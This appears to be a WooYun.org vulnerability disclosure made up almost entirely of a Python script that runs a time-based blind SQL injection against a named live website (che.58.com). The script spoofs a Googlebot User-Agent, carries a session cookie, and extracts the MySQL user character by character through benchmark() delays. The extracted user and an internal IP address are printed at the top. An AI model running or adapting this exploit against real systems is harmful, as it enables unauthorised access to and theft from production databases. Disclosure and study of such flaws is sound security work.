WooYun.org

[Done] MySQL user is carproducror@10.9.17.17l

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Cookie': 'city=sh; PHPSESSID=abc90271f5786aac9cee29edb06929dc; cf_ref=http%3A%2F%2Fche.58.com%2Fgmac%2Fiframe_ApplyIntention_2013.php',
           'User-Agent': 'Googlebot/2.1 (+http://www.googlebot.com/bot.html)',
           'Referer': 'http://che.58.com'}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 25):
    for payload in payloads:
        s = '/323224/order.html?prdid=if(ascii(mid(user()from(%s)for(1)))=%s,benchmark(2000000,md5(1)),0)&sellerid=323224&source_detail=0000000000&type=3' % (i, ord(payload))
        conn = httplib.HTTPConnection('che.58.com', timeout=30)
        conn.request(method='GET',url=s, headers=headers)
        t = time.time()
        conn.getresponse().read()
        conn.close()
        print '.',
        if time.time() - t > 1.5:
            user += payload
            print '\n[in progress]', user,
            time.sleep(1.0)
            break
        
print '\n[Done] MySQL user is %s' % user